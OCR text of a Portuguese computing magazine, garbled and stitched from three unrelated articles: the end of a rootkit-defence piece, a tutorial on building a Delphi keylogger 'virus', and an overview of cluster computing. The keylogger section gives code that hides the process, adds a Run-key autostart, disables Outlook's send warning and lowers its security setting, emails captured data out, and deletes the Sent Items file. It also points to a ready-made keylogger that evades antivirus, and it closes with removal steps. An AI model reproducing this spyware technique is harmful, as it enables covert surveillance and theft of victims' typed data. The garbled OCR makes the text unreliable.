Security Modules (LSM), como uma maneira de proteger o siste-
ma. Estes médulos modificam certas caracteristicas do kernel,

sobretudo com tratamento de memaria, utilizacdo de ACLs e
protecao de dreas criticas como o /dev/kmem. Utilizei com su-
cesso o da grsecurity e tenho obtido resultados excelentes.
Acho que, acima de tudo, o administrador deve possuir
uma boa ferramenta de IDS (sugiro o Snort) para detectar os
ataques e criar uma base de dados para analise; existe uma
excelente solucao do Snort com MySQL e o ACID descrita

num paper de Steven J. Scott, que pode ser baixado de http./
/home.earthlink.net/~sjscott007/, que foi feito inicialmente
para Red Hat, mas pode ser adaptado para a plataforma
Slackware sem problemas.

Um bom programa de auditoria de arquivos também é
recomendado, como o Tripware, que ja se tornou um classi-
co em sua utilizacao.

Conclusoes

Os root kits estao evoluindo. Acredita-se que uma nova
quarta geracao ja esteja sendo executada com modificacdes
cada vez mais inerentes ao sistema operacional. Cabe ao
administrador de sistemas estar cada vez mais atento aos
novos lancamentos e, acima de tudo, estudar e muito os
logs em busca de estranhas atividades em seus servidores.

A utilizacao de ferramentas de auditoria nunca foi

tao importante como nos dias de hoje, ja que a vida
Util de um sistema pode ser minima com a quantida-
de absurda de ataques que sofremos diariamente.
Por isso, é importante que o administrador esteja
em mente e, principalmente, saber que o cuidado e
a sua atuacao frente a um sistema sao a chave do
sucesso para sua protecao.

(*) Antonio Marcelo é especialista de seguranca e autor de diversos livros sobre Linux, entre eles Firewalls em Linux, Linux:
Ferramentas anti-hackers, Squid: Guia de Administracao Rdpida, entre outros publicados pela edijtora Brasport. Jd executou
vdrios projetos de consultoria em seguranca em 0rgaos governamentais do Brasil, além de ser um pesquisador independente

e também CEO da Gurgel e Fonseca Consultores Associados, empresa brasileira de conectividade e seguranca. Pode ser con-

sultado no endereco http.//www.plebe.com.br. Duvidas e criticas sobre este artigo podem ser enviadas para

amarcelo@plebe.com.br.
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5. 4
[ Entendendo o funcionamento do programa: [ SN SNNNTRTNNDNURIR

Feitas as consideracoes iniciais, po%e estudar o funci-

onamento.do _programa, feito em D Os codigos-fonte

doprograma e‘de sua DLL nao foram d|5n|b|I|zados Vi

Para que o programa seja novamente exibido:

SNl RVl Ne IS ElIE U Elo RN iolR vife ikl (iR S RegisterServiceProcess (GetCurrentProcessID, 8);

intencionados. Nao obstante, algumas de suas rotinas mais
interessantes serao comentadas a partir de agora. Para tan-
to, trataremos o programa como se fosse um virus, embora
esta condicao (como ja ressaltado) seja apenas determinada
pela utilizacao indevida do programa.

A pri-meira“hm%que surge durante a programacao
de um virus é escondé-lo da barra de tarefas d6 Windows e
da lista do Ctrl+Alt+Del. Isto era muito simples até o adven-
to do Windows XP, para tanto bastavam as seguintes linhas

Function RegisterServiceprocess (dwuProcessID,

duType: DWord):DWord; stdecall; external

Kernel32.d1ll ;

Esta funcao pode ser usada, ocultando o programa da
lista do Ctr/+Alt+Del, com o seguinte comando:

\A
A janela do programa pode ser escondida com o seguinte

comando (este sim pode ser usado em todos os sistemas
Windows)

ShowWindouw (application.Handle, sw_hide];

Mas ha um porém, este método sO funcionara nos siste-
mas Windows 95, 98 e Millennium. Se executado nos
Windows XP, 2000 ou NT, sera mostrada ao usuario uma
mensagem de erro e isto nao é interessante para um progra
ma que queremos que seja oculto. Este problema pode ser

contornado com as seguintes linhas de cédigo

type

TRegisterService = function (dwProcessID,

duType:DWord) : Dword;stdcall;
private
RegisterServiceProcess:
TRegisterService;
Implementation
function OcultaProcesso(DLL,Procedimento:
string) : TFarProc;
var
Processo,Biblioteca THandle;
begin
Result:=nil; |
Biblioteca:=GetModuleHandle (Pchar (D11))
if Biblioteca <> 8 then
Result:=GetProcAddress (Biblioteca,
Pchar (Procedimento] ) ;

end;
No evento ON CREATE:

Var
Registro: Tregistry;

begin

ShouwWindow (application.Handle, sw_hide];
Registro:=Tregistry.create;
Registro.RootKey:=HKEY_LOCAL_MACHINE;
REGISTRO.OpenKey [ Software\Microsoft\Windouws\
CurrentVersion , false);

If Registro.ValueExists( Version ] then
begin

BRegisterServiceProcess:=0cultaProcesso
[KERNEL32.DLL , RegisterServiceProcess ];
RegisterServiceProcess (BetCurrentProcessID,
) ;

end;

end;

O que as linhas acima fazem e verificar se o sistema é
Windows XP, para isso o programa procura pelo valor
“Version" dentro da chave
HKEY LOCAL MACHINESoftware\Microsoft\Windows\CurrentVersion,
pois este valor ndo existe no Windows XP. Desta forma, a
rotina que oculta o aplicativo da lista de Cér/+Alt+Delnao
sera executada no Windows XP e a mensagem de erro nao
sera exibida. O programa seguira oculto, apenas visivel na
lista dos programas executados e isto eu nao sel como evi-
tar. Caso algum leitor conheca a solucao, compartilhe-a
comigo (meu e-f nail seque no fim da mateéria)

Para que o programa fique mais “leve” durante a execu-

¢ao, consumindo menos recursos do computador, podemos
/LS

declaradas no wuses e que nao sao usadas. Além disso, po-

demos liberar o modulo OLE Automation, que nao sera usa

do, mediante o comando
FREELIBRARY (GETMODULEHANDLE [ OLEAUT32 ]]);

Isso tornara o programa mais rapido ao iniciat
Agora, vamos nos preocupar com a rotina capaz de tornar
0 Nosso virus “residente” no computador, fazendo com que

seja executado a cada boot da maquina:

Var
Registro:Tregistry;
XPS=uindir,  boot:isiString:;

Begin

REGISTRO.OpenKey( Software\Microsoft\Windouws)\
CurrentVersion , false);
Windir:=Registro.ReadString( SystemRoot ];
If Windir<> then //se a variavel nao esti-
ver vazia, o sistema é Wian/ME‘

Begin

Registro.closekey;

REGISTRO.OpenKey [ Software\Microsoft\Windouws\
CurrentVersion\Run , TRUE];
XP:=Windir[1]+Windir[2]+Windir[3]; //pega o
disco usado (ex.: c:\]

NEndir:=XP;

boot:=Windir+ Windows\System\ Programa.exe ;
REGISTRO.WriteString( Executa , boot); //
escreve o caminho do programa no Registro do
Windows

Registro.CloseKey;

end

else //se a varidvel estiver vazia, o sistema
é WinXP/2888/NT

begin

XP:=Registro.ReadString( ProgramFilesDir );
windir:=XP[1]+XP[2]+XP[3];
boot:=XP[1]+XP[2]+XP[3]+ WINDOWS\system32\Programa.exe ;
Registrb.closekey;

REGISTRO.OpenKey [ Software\Microsoft\Windouws\ °
CurrentVersion\Run , TRUE]);
REGISTRD.writeString[ Executa , boot); //
escreve o caminho do programa no Registro do
Windows

Registro.CloseKey;




Agora nosso programa ja esta oculto, nao consta na lista do
Ctrl+Alt+Del (se o sistema for win9x/ME) e sera executado sem-
pre que o Windows for iniciado.

Mas ainda nos resta outro inconveniente a ser resolvido: o
programa devera enviar por e-mail 0 arquivo que contem os
dados recolhidos no computador. Isto s6 é problema se estamos
lidando com o Outlook 6, s de seguranca
ha uma encarregada de alertar o usudrio quando outro progra-
ma tenta enviar e-mails utilizando o sistema do Outlook. Para
conferir, abra o Outlook, clique no menu Ferramentas, depois
em Opcoes..., escolha a aba Seguranga e la vocé encontrara a
opcao “Avisar quando outro aplicativo tentar enviar email como
se fosse eu. ”, sugiro que mantenha sempre marcada esta opcao

Para que 0 usuario nao seja avisado quando nosso progra
ma tentar enviar o e-mail, devemos implementar a seguinte
rotina, que nada mais faz do que desmarcar a opgao de segu-

ranca mostrada acima, usando o Registro do Windows

Registro.RootKey:=HKEY_CURRENT_USER;

Registro.OpenKey( \Identities , false];
contas:=TStringlList.Create;

contas.Clear;

registro.GetKeyNames [contas] ;
registro.ClosekKey;
Registro.RootKey:=HKEY_CURRENT_USER;

try

for i:=0 to contas.Count-1 do

begin

if

registro.KeyExists[ \Identities\ +contas.strings[i]+ \
Software\Microsoft\Outlook

Express + \B6.08’])then

begin

registro.OpenKey [ \Identities\ +contas.strings[i]+
\Softuare\Microsoft\ﬂutluok

Express\6.0\Mail , false];

If Registro.ValueExists( Warn on Mapi Send ]
Then Registro.WriteInteger( Warn on Mapi
Send , ﬁ];

end;

finally

registro.CloseKey;

Para mudarmos o nivel de seguranca do Outlook estabele-

cendo-0 como 0 mais baixo possivel, poderiamos acrescentar:

If Registro.ValueExists( Security Label ] Then
Registro.WriteInteger ( Security Label , 8];

Mais um problema solucionado. Agora podemos nos pre-
ocupar com a rotina respo el pelo envio do e-mail; para

isto bastarao as seguintes linhas

procedure EnviaE_Mail (strCorpo, strAssunto,
strNomeDestino, strMailDestino: string;
strAnexo: string = %
var
SecaoMapi: cardinal;
msg: TMAPIMessage;
ResultadoMAPI: integer;
Destinos: TMAPIRecipDesc;
Arqs: TMAPIFileDesc;
MapiArq: boolean;
begin
ResultadoMAPI := MAPILogon(®, nil, nil,
PSecaoMapi) ;
MapiArq:= Length(Trim([strAnexo]] > 8;
if MapiArq then MapiArq:=
FileExists [strAnexo] ;
if MapiArq then
begin
Arqs.nPosition:= Length(strCorpo];
Arqs.lpszPathName:= PChar (strAnexo] ;
Arqs.flFlags:= i;
Arqs.lpFileType:= nil;
Arqs.lpszFileName:=
end;
if ResultadoMAPI = SUCCESS_SUCCESS then
begin
try
FillChar (Destinos, SizeOf(Destinos]), B8);
Destinos.lpszName:= PChar (strNomeDestino] ;
Destinos.lpszAddress:= PChar [strMailDestino] ;
Destinos.ulRecipClass:= MAPI_TO;
FillChar (msg, SizeOf(msg), Nj;
msg.ulReserved:= 0;
msg.lpszSubject:= PChar(strAssunto] ;
msg.lpszNoteText:= PChar[strCorpo);’
msg.nRecipCount:= 1;
msg.lpDestinos:= EDestinos;
if MapiArqgq then
begin
msg.nFileCount:= 1;

msg.lpFiles:= EArgs;

end;

ResultadoMAPI:=
MAPISendMail (SecaoMapi, O, msg,

finally

MAPILogOff (SecaoMapi,

end;

Para utilizar este procedimento, use o codigo abaixo:

EnviakE_Mail('mensagem’, ‘Assunto’, ‘Nome do destinata-
rio’, ‘e-mail @do.destinatario’, ‘c:\windows\anexo.txt);

Como o e-mail sera enviado pelo Outlook, ficara disponi-
vel na caixa de itens enviados. Surge-nos mais um problema
a ser resolvido: limpar a caixa de itens enviados. Todas as
pastas do Outlook sao armazenadas no diretério
C\WINDOWS\Application
Datalldentities\(IDENTIDADE}\Microsoft\Outlook Express.

Sendo que IDENTIDADE é o cédigo referente ao usuario
registrado no Outlook, chamado de User /D. Todas as identi-
dades estao dentro da pasta /dentities e as informacoes de
cada identidade estdo no Registro do Windows, na chave
HKEY_CURRENT_USER\Identities:

Para limparmos a caixa de itens enviados, basta excluirmos
0 arquivo /tens enviados.dbx. Na proxima execucao do
Outlook, este arquivo nao sera encontrado e o Outlook se
encarregara de criar uma nova caixa de itens enviados vazia

Com esta finalidade, escrevi uma rotina para varrer os
diretorios a procura do arquivo /tens enviados.dbx.

function Varre_Diretorio(Dir_Inicial,
Arq_Procurado: String): String;
type

TPilha= array of Variant;
var
p: TWIN32FindData;
h: Thandle;
dir, Dir_Padrao: String;
Pilhas = iPL1lhas;
procedure Empilha(Dado: Variant];
var
P: Integer;
begin
SetLength (Pilha,High(Pilha]) +2] ;
For P:= High(Pilha) downto 1 do
Pilha[P]:= Pilha[P-1];
Pilha[8]:= Dado;

end;
function Desempilha: Variant;
var
P:Integer;
begin
Result:= LR &
If High(Pilha) > -1
begin
Result:= Pilha[B8];
for P:=1 to High(Pilha)] do
Pilha[P-1]:= Pilhal[P];
SetLength (Pilha,High(Pilha]];
end;
end;
begin
if Not SetCurrentDir(Trim(Dir_Inicial)) then
Result:= Diretdério Invalido
else
begin
Dir_Padrao:= Trim(GetCurrentDir]) ;
p;dwFileAttributes:: FILE_ATTRIBUTE_NORMAL;
h:= FindFirstFile(PChar( *.* ],p); .
If Copy(Dir_Padrao,Length(Dir_Padrao),1l) =

A\ then
Dir_Padrao:=
Copy(Dir_Padrao,1,Length(Dir_Padrao)-1);
repeat
i f

(DirectoryExists [Dir_Padrao+ \ +Trim(p.cFileName]]]
and
[Copy(p.cFileName,Length([Trim(p.cFileName]) ,1])
<> S then
empilha (String (Dir_Padrao+ \ +Trim(p.cFileName]]];
until Not FindNextFile(h,p];
dir:= desempilha;
while dir <> o do begin
if SetCurrentDir(dir) then begin
h:= FindFirstFile (PChar( *.* ]},p);
repeat
if AnsiUpperCase(Trim(p.cFileName]) =
AnsiUpperCase(Trim(Arq_Procurado)) then
Result:= Result +

[GetCurrentDir+ \ +Trim(p.cFileName])]);
555

[DirectoryExists (GetCurrentDir+ \ +p.cFileName)
and

[Copy(p.cFileName,Length (Trim(p.cFileName]],




<> el then

empilha [String(BetCurrentDir+ \ +Trim(p.cFileName]])
until Nét FindNextFile (h,p] ;

end;

dir:= desempilha;

end;

end;

end;

Agora é s6 usar a funcao:

Var

Registro: TRegistry;

arquivo: String;

begin

Registro:=TRegistry.create;
REGISTRO.OpenKey( Software\Microsoft\Windous
\CurrentVersion , false];
arquivo:=Registro.ReadString( SystemRoot ];
arquivo:=

Varre_Diretorio[arquivo+ Windows\Application
Data\Identities\ , Itens enviados.dbx ] ;
If fileexists[arquivo)=true then

DeleteFile [arquivo] ;

End;

Nosso Ultimo desafio sera detectar a conexao, pois so
entdo poderemos enviar o e-mail sem que haja erro. Para
tanto, usaremos a chave dinamica do Registro (estudada
acima): HKEY_DYN_DATA.

Na chave HKEY_DYN_DATA\PerfStats\StartStat encontramos
os dados da conexao Dial-Up, o que nos importara sao os bytes
recebidos (valor: Dial-Up Adapter\BytesRecvd). Desta forma, no
evento OnCreate do programa capturaremos os dados deste
valor em uma variavel, entao adicionaremos um Timer que
verificara, constantemente, se este valor mudou; se mudou é
porque ha a conexao Dial-Up. S6 ha um problema, este método
so funciona para conexoes do tipo Dial-up, conexodes a cabo
Speed, etc. nao serao detectadas, porque nestes casos inexiste
a chave acima. Para contornar este problema, faremos o seguin-
te: verificaremos se a chave existe; se nao existir € porque a
conexao nao é Dial-up e o e-mail pode ser enviado a qualquer
momento; se existir, capturaremos os dados referentes aos
bytes recebidos e, quando mudarem, enviaremos o e-mail

Declararemos algumas variaveis antes da secao

implementation

Var
Buffer : array [8..4896] of Char;
Buffer2 : array [0..4896] of Char;

-else ‘EnviaE_Mail[ mensagem ,

0 cédigo do evento OnlCreate ficard assim:

.Var

Registro: Tregistry;

begiﬁ
Registro.RootKey:=HKEY_DYN_DATA;
Registro.OpenKey( PerfStats\StatData ,
False];

If Registro.ValueExists( Dial-Up
Adapter\BytesRecvd ] then

Begin

Registro.ReadBinaryData( Dial-Up
Adapter\BytesRecvd , Buffer,
SizeOf (Buffer));
Registro.CloseKey;

Registro.Free;

end;

end;

No 7imer, o cdédigo seria

Var

Registro:TRegistry;
begin
Registro := TRegistry.Create;
Registro.RootKey:=HKEY_DYN_DATA;
Registro.OpenKey[ PerfStats\StatData ,
False)] ;
//Verifica se existe a chave referente as co-
nexdes dial-up
If Registro.ValueExists( D -Up
Adapter\BytesRecvd ] then
Begin
Registro.ReadBinaryData( Dial-Up
Adapter\BytesRecvd , Buffer2,
SizeO0f (Buffer2));
Registro3.Free;
If Buffer2 <> Buffer then
Nome do

EnviaE_Mail ([ mensagem , Assunto ,

destinatario , e-mail PCdo.destinatario ,
c:\windows\anexo.txt J;

end

//se nao existir, é pg a conexdo nao é dial-

up, entdo o e-mail pode ser enviado...

Assunto ,

Nome do destinatario , e-mail

BPdo.destinatario , c:\windows\anexo.txt ] ;
E evidente que quando digo que o e-mail pode ser enviado

caso nao haja conexao do tipo dial-up, isto nao se trata de uma

verdade absoluta. Afinal, pode ser que o usuario simplesmente

nao tenha conexao a Internet, Por outro lado, usuarios pouco
experientes nao sabem configurar o Speed para que se conecte
automaticamente quando o computador € iniciado. Caso
inexista a conexao automatica, o e-mail nao sera enviado.

Em relacao aos comandos responsaveis por capturar a
digitacao, ficam por conta do leitor, assim como a
implementacao dos codigos acima relacionados, que sempre
podem ser melhorados

Caso nao queira perder tempo programando a captacao
das teclas digitadas, podera usar o programa que esta dis-
ponivel no CD-ROM da revista. Para isso, sugiro que leia a

proxima secao, que contem as instrucoes de uso.

Usando o programa

A utilizacao do programa nao requer conhecimentos avan-
cados, basta executar o programa de instalacao (Setup.exe) e
concordar com a exigéncia da licenca de uso, que é Unica:
usar o programa apenas para fins licitos, sem ofender direi-
tos alheios

Concluida a instalacao, clique no menu /niciar, escolha o
menu Programas e clique em Ajusta. Sera aberto o seguinte
programa:

Digite o endereco do e-mail no qual vocé deseja receber
os relatorios do Keylogger, tecle Enter e espere a confirma
¢ao de que a operacao ocorreu com sucesso

Agora é so esperar... Uma vez por dia, se houver conexao a
Internet todos os dias, vocé recebera um e-mail contendo tudo
o que foi digitado no computador em que o programa esta
instalado. Nao se esqueca de definir o endereco de e-mail, caso
contrario havera uma mensagem de erro: MAPI Initialization

error [25]. O arquivo estara anexado e sera como o seguinte
Veja como € o e-mail, no Outlook

Para desinstalar, use a opcao Adicionar ou Remover Pro
gramas, no Painel de Controle. No entanto, propositalmen
te, nao ha a desinstalacao total do programa. Isto para que
possamos limpar o "virus” manualmente. Depois de
desinstalado, siga as instrucoes abaixo para remové-lo do
sistema

Usaremos o TFAK, um scanner de Trojan Horses. Este utili
tario freeware (livre) possui um bom banco de dados, porém,
assim como todos os outros antivirus do mercado, nao de-
tectara o nosso programinha. Evidentemente isto nao persis
tira por muito tempo, tao logo esta matéria seja publicada,
0s antivirus adicionarao este programa aos seus bancos de
dados virais. Até a data de hoje (01/03/2003), o programa

nao foi reconhecido por qualquer antivirus

Execute o programa de desinstalacao do Capta Teclado
(Meu Computador > Painel de Controle > Adicionar ou re-
mover programas > Capta Teclado), isto removera apenas o
utilitario de configuracao, pois o programa com caracteristi-
cas virais continuara residente na memoria do computador.

Agora sim estamos diante de um “virus”. Execute o TFAK,
escolha 0 menu Locale clique em Quais sao 0s Processos
Ativos?, o programa exibird uma janela relacionando todos
0S processos ativos

Agora, como ja sabemos quais sao os programas normal
mente executados com o boot do nosso computador (vimos
anteriormente no MSCONFIG), chegaremos facilmente ao virus.

Neste caso, o programa viral é o capta.exe, como vemos,
ele esta no diretério C:AWindows\System (o diretorio pode
variar conforme o sistema operacional e o numero de unida-
des de HD existentes em seu computador). Vamos seleciona-
lo na lista dos processos ativos e depois clicar no botao Fina-
lizar Processo Selecionado, a partir de entao poderemos
deletar o programa capta.exe em C:\Windows\System. Para
completar o trabalho, vamos deletar também sua DLL
(cap.dl) e o arquivo de log (capta. txd):

Agora podemos exclui-lo do boot do Windows. Para saber
por onde ele é iniciado, voltaremos ao TFAK, clicaremos no
menu Local e depois em O que é auto-iniciar?, entao nos
sera mostrada uma janela com todos 0s programas que sao
iniciados automaticamente. Na caixa Rotinas de auto-
iniciar, podemos escolher entre o autoexec.bat, o registro
do Windows, o win.ini, o system.ini e a pasta iniciar do
menu /niciar

Se escolhermos a opcao Registryl, veremos o capta.exe
entre os programas executados na inicializacao do sistema:

Podemos retira-lo na inicializacao do sistema pelo
MSCONFIG, como ja foi visto, ou pelo proprio TFAK. Para tanto,
selecione a linha com o programa a ser excluido e clique nc
botao £aitar, depois selecione o programa novamente:

E escolha a opcao Apaga Valor. Feito isto, clique em Vol-
tar, novamente escolha Vo/tar e depois feche o programa
Para se certificar de que o virus inexiste em seu sistema,
reinicie o computador e verifique se ele continua a ser inicia
do pelo sistema

Finalmente o virus foi completamente removido, nao se
esqueca de restaurar as opcoes de seguranca do Outlook,
conforme exposto anteriormente

Em caso de duvidas, meu e-mail fica disponivel ao leitor

Juliano Toledo
Bacharel em Direito

Julianotoledo@uol.com.br
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Este artigo tem por finalidade dar ao leitor

cendo a cada dia no mercado mundial, espero

uma visio mais integrada do que vem a ser a

que seja do seu inteiro agrado e que o ajude

computacao em cluster e, como esta vem cres-

na percepcao da importancia desta tecnologia.

Na sua forma mais basica, um cluster é um sistema que
compreende dois ou mais computadores ou sistemas (de-
nominados nodos), no qual trabalham em conjunto para
executar aplicacbes ou realizar outras tarefas, de tal forma
que os usuarios que o utilizam tém a impressao de que
somente um unico sistema responde para eles, criando
assim uma ilusdo de um recurso Unico (computador virtual).
Este conceito é denominado transparéncia do sistema.
Como caracteristicas fundamentais para a construcao des-
tas plataformas, incluem-se elevacao da confianca, distri-
buicao de carga e performance.

Alta Disponibilidade (High Availability
(HA) and Failover:

Estes modelos de clusters sao construidos para prover
uma disponibilidade de servicos e recursos de forma
ininterrupta, através do uso da redundancia implicita ao
sistema. A idéia geral é a de que, se um né do cluster vier a
falhar (failover), aplicacées ou servicos possam estar disponi-
veis em outro no. Estes tipos de cluster sao utilizados para
base de dados de missoes criticas, correio, servidores de
arquivos e aplicacoes.

Balanceamento de Carga (Load Balancing:
Este modelo distribui o trafego entrante ou requisicoes
de recursos provenientes dos nodos que executam 0s mes-
mos programas entre as maquinas que compdem o cluster.
Todos os nodos sao responsaveis por controlar os pedidos. Se
um no falhar, as requisicoes sdo redistribuidas entre os nés
disponiveis no momento. Este tipo de solucdo é normalmente
utilizado em fazendas de servidores de Web (Web farms).

Combinacao HA & Load Balancing:
Como o préprio nome diz, combina as caracteristicas dos
dois tipos de cluster, aumentando assim a disponibilidade

e a escalabilidade de servicos e recursos. Este tipo de confi-
guracao de cluster é bastante utilizado em servidores de
Web, mail, news ou FTP.

Processamento Distribuido ou
Processamento Paralelo:

Este modelo de cluster aumenta a disponibilidade e
performance para as aplicacées, particularmente as gran-
des tarefas computacionais. Uma grande tarefa
computacional pode ser dividida em pequenas tarefas,
que sao distribuidas ao redor das estacoes (nodos), como
se fosse um supercomputador massivamente paralelo. E
comum associar este tipo de cluster ao projeto Beowulf
da NASA. Estes clusters sao usados para compUtagéo cien-
tifica ou analises financeiras, tarefas tipicas para exigéncia
de alto poder de processamento.

Rhzt a ntilizacao d

um_Cluster

Clusters ou combinacdes de clusters sao usados quando
os contetdos sao criticos ou quando os servicos tém de
estar disponiveis e/ou processados o mais rapido possivel.
Internet Service Providers (provedores de Internet) ou sites de
comércio eletronico freqlentemente requerem alta disponi-
bilidade e balanceamento de carga de forma escalével. Os
clusters paralelos tém uma importante participagao na industria
cinematogréafica para renderizacdo de gréficos de altissima
qualidade e animacdes, relembrando que o Titanic foi
renderizado dentro desta plataforma nos laboratérios da
Digital Domain. Os clusters Beowulf sao usados na ciéncia,
engenharia e financas para atuarem em projetos de desdobra-
mento de proteinas, dinamica de fluidos, redes neurais, analise
genética, estatistica, economia, astrofisica, entre outros. Pesqui-
sadores, organizacOes e empresas estao utilizando os clusters
porque necessitam incrementar sua escalabilidade,
gerenciamento de recursos, disponibilidade ou processamento
em termos supercomputacionais a um preco acessivel.




High Availability (HA) or

Perdas na performance ou na capacidade de processamento

Failover Clusters

sao normalmente aceitaveis; o objetivo principal é nao parar.
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Existem algumas excecdes, como sistemas de tempo real e de
missdo critica.

A tolerancia a falhas é conseguida através de hardware,
como sistemas RAID, fontes e placas redundantes, sistemas
de rede totalmente ligados para prover caminhos alternati-
vos na quebra de um link.

| Cluster de Balanceamento
_de Carga

O balanceamento de carga entre servidores faz parte de
uma solucao abrangente em uma explosiva e crescente
utilizacdo da rede e da Internet, provendo um aumento na
capacidade da rede e melhorando a performance. Um
balanceamento consistente de carga mostra-se, hoje, como
parte integrante de todo o projeto de web hosting e co-
mércio eletrénico. Mas nao se pode ficar com a idéia fixa
de que isso é s6 para provedores; devemos aproveitar as
suas caracteristicas e trazer para dentro das empresas esse
modo de usar a tecnologia para atender aos clientes inter-
nos das empresas.

Os computadores possuem uma forte tendéncia a parar
quando vocé menos espera, principalmente num momento
em que vocé mais necessita dele. E raro nao encontrar um
administrador que nunca recebeu um telefonema no meio
da madrugada com a triste noticia de que o sistema de mis-
sao critica ficou fora ar; ou seja, ndo tem jeito, vocé tem de ir
e resolver o problema.

A alta disponibilidade esté ligada diretamente a nossa
crescente dependéncia dos computadores, pois agora eles
possuem um papel critico, principalmente em empresas cuja
maior funcionalidade é exatamente a oferta de algum servi-
co computacional, como e-business, noticias, sites Web,
banco de dados, entre outros.

Um cluster de alta disponibilidade visa a manté-la nos
servicos prestados por um sistema computacional, replican-
do servicos e servidores, através da redundancia de hardware
e reconfiguracao de software. Vérios computadores juntos
agindo como um s6, cada um monitorando os outros e as-
sumindo seus servicos, caso algum deles venha a falhar. A
complexidade do sistema deve estar no software, o qual
deve se preocupar em monitorar outras maquinas de uma
rede, saber que servigds estao sendo executados, guem 0s
est4 executando e como proceder em caso de uma falha.

e

Os sistemas de cluster baseados em balanceamento de
carga integram seus nodos para que todas as requisicoes
provenientes dos clientes sejam distribuidas de maneira
equilibrada entre os nodos. Os sistemas nao trabalham jun-
tos em um Unico processo, mas redirecionando as requisi-
coes de forma independente, assim que chegam baseados
em um escalonador e um algoritmo préprio.

Este tipo de cluster é especialmente utilizado em servicos
de comércio eletronico e provedores de Internet que preci-
sam resolver diferencas de carga provenientes de multiplas
requisicoes de entrada em tempo real.

Adicionalmente, para que um cluster seja escalavel, tem de
assegurar que cada servidor seja utilizado completamente.

Quando nao fazemos o balanceamento de carga entre
servidores que possuem a mesma capacidade de resposta a
um cliente, comecamos a ter problemas, pois um ou mais
servidores podem responder a requisicao feita e a comunica-
co ficaria assim prejudicada. Por isso devemos colocar o
elemento que fara o balanceamento entre os servidores e os
usudrios e configura-lo para isso; entretanto, podemos colo-
car multiplos servidores de um lado, os quaisparecerao ser,
para os clientes, somente um endereco. Um exemplo classi-
co seria o Linux Virtual Server, ou simplesmente preparar um
load balancer de DNS. O elemento de balanceamento tera

" um endereco pelo qual os clientes tentarao fazer contaté,

chamado de Virtual Server (VS), que redirecionara o trafego
para um servidor do pool de servidores. Esse elemento deve-
ra ser um software dedicado a fazer todo o gerenciamento,
ou poderd ser um equipamento de rede que combine
performance do hardware e software para fazer a passagem
dos pacotes-e o balanceamento de carga em um s6 equipamento.

Devemos salientar alguns pontos principais para haver
uma implementacédo de sucesso em um ambiente com
balanceamento de carga nos servidores:

:Levando-se em consideracdo como é feito o
balanceamento entre os servidores, quando um
cliente fizer uma requisicao para o endereco
virtual (VS), todo o processo de escolha e respos-
ta do servidor deve ocorrer de modo transpa-
rente e imperceptivel para o usuério, como se
néao existisse o balanceamento;

Criar um método usado para checar se os servi-
dores estdo vivos e funcionando, vital para que a
comunicagdo ndo seja redirecionada para um
servidor que acabou de ter uma falha
(keepalive);

‘Um método usado para se certificar de que um
cliente acessa 0 mesmo servidor quando quser.

Balanceamento de carga é mais que um simples
redirecionamento do tréfego dos clientes para outros servi-
dores. Para implementacao correta, o equipamento que fard
o balanceamento precisa ter caracteristicas como verificacdo
permanente da comunicacao, checagem dos servidores e
redundancia. Todos esses itens sao necessarios para que
suporte a escalabilidade do volume de trafego das redes
sem vir a se tornar um gargalo ou um ponto Unico de falha.

Os algoritmos para balanceamento sdo um dos fatores de
maior importancia neste contexto. Vamos entao explanar
trés métodos basicos:

| [east Connections

_ Esta técnica redireciona as requisicoes para o servidor
baseado no menor nimero de requisicdes/conexoes. Por
exemplo, se o servidor 1 esta controlando atualmente 50
requisicées/conexdes e o servidor 2 controla 25 requisicoes/




conexdes, a proxima requisicao/conexao sera automaticamente
direcionada para o servidor 2; desde que o servidor em questao
tenha agora um numero menor de requisicdes/conexdes ativas.

Round Robin

Este método usa a técnica de sempre direcionar as requisi-
ces para o proximo servidor disponivel de uma forma circu-
lar. Por exemplo, as conexées de entrada sao dirigidas para o
servidor 1, depois para o servidor 2 e, finalmente, para o
servidor 3, e entdo retorna ao servidor 1.

Linux Virtual Server
LvS

| W

Weighted Fair

Esta técnica dirige os pedidos para os servidores baseados
na carga de requisicoes de cada um e na capacidade de res-
posta dos mesmos (performance). Por exemplo, se o servidor
1 é quatro vezes mais rapido no atendimento aos pedidos
do que o servidor 2, o administrador coloca um peso maior
de trabalho para o servidor 1 do que para o servidor 2.

Cluster combinando Alta Dis-

=R
T

APACHE

ponibilidade e Balanceamento
de Carga '

Esta solucdo combinada visa a prover uma solucao de alta
performance aliada a possibilidade da ndo-existéncia de
paradas criticas. Este cluster combinado é uma solucéo per-
feita para ISP e aplicacbes de rede nas quais a continuidade
de suas operacoes é muito critica.

plataforma:

- Redirecionamento dos pedidos aos nds-falhas
para os ndés-reservas;

- Melhoria na qualidade dos niveis de servico
para as aplicagbes tipicas de rede;

« Transparente integracdo para as aplicagGes
stand-alone e ndo-cluster, juntas, em uma uni-
ca rede virtual;

- Disponibilizar uma arquitetura de framework
altamente escaldvel.

O que é um Beowulf Cluster?

Um dos mais notéveis avancos tecnolégicos dos dias atuais
tem sido o crescimento da performance computacional dos
PCs (Computadores Pessoais). A verdade é que o mercado de
PCs é maior que o mercado de workstations, permitindo que

i

o preco de um PC decresca, enquanto sua performance au-
menta substancialmente, sobrepondo, em muitos casos, a
performance de estacoes de trabalho dedicadas.

O cluster Beowulf foi idealizado pelos seus _
desenvolvedores com o objetivo de'suprir a crescente e ele-
vada capacidade de processamento em diversas dreas cienti-
ficas com o objetivo de construirem sistemas
computacionais poderosos e economicamente vidveis. Claro -
que a evolucao constante do desempenho dos
processadores tem colaborado e muito na aproximacédo en-
tre PCs e workstations; a diminuicdo do custos das :
tecnologias de rede e dos préprios processadores e o siste-

- ma operacional aberto e gratuito, como o GNU/Linux, em

muito influenciam as pesquisas para melhoria desta nova
filosofia de processamento de alto desempenho em clusters.
Uma caracteristica-chave de um cluster Beowulf é o

software utilizado, que é de elevado desempenho e gratuito
na maioria de suas ferramentas; como exemplo podemos
‘citar os sistemas operacionais GNU/Linux e FreeBSD, sobre os
quais estao instaladas as diversas ferramentas que viabilizam
0 processamento paralelo, como é o caso das APIs MPI e
PVM. lIsso permitiu fazer alteracdes no sistema operacional
Linux para dotd-lo de novas caracteristicas que facilitaram a

implementacao para aplicacoes paralelas.

| Como o Beowulf trabalha?

O sistema ¢ dividido em um nodo controlador denomina-
do front-end (particularmente chamado de né mestre), cuja
funcao é controlar o cluster, monitorando e distribuindo as
tarefas. Atua como servidor de arquivos e executa o elo entre
0s usuarios e o cluster. Grandes sistemas em cluster podem
distribuir diversos servidores de arquivos e né de geréncia
